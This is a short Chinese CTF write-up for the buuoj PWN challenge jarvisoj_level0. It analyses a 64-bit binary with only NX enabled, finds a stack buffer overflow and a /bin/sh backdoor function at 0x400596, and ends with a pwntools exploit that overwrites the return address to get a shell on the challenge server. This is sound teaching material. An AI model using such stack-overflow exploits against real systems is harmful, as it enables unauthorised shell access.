题目(五):
【题型】PWN
【题目】jarvisoj_level0
【来源】(buuoj)https://buuoj.cn/challenges#jarvisoj_level0
【思路】栈溢出
【具体步骤】
Step1:checksec一下,发现是一个只开启了NX的64位程序。
step2:将文件放到IDApro下进行静态分析。
Step3:查看main函数,F5查看伪代码(如果键被占用,Fn+F5)
Step4:查看vulnerable_function()函数,发现buf定义了80个字节,猜测是栈溢出漏洞,然后查找一下后门函数。
Step5:shift+F12查看字符串,发现/bin/sh,点击进去查看,然后shift+x,查看地址为0x400596
Step6:编写exp,输入以后,ls查看文件,发现有一个flag.txt文件,cat 查看文件,得到flag。
源码为
from pwn import *
p=remote("node4.buuoj.cn",27786)
payload=b'a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()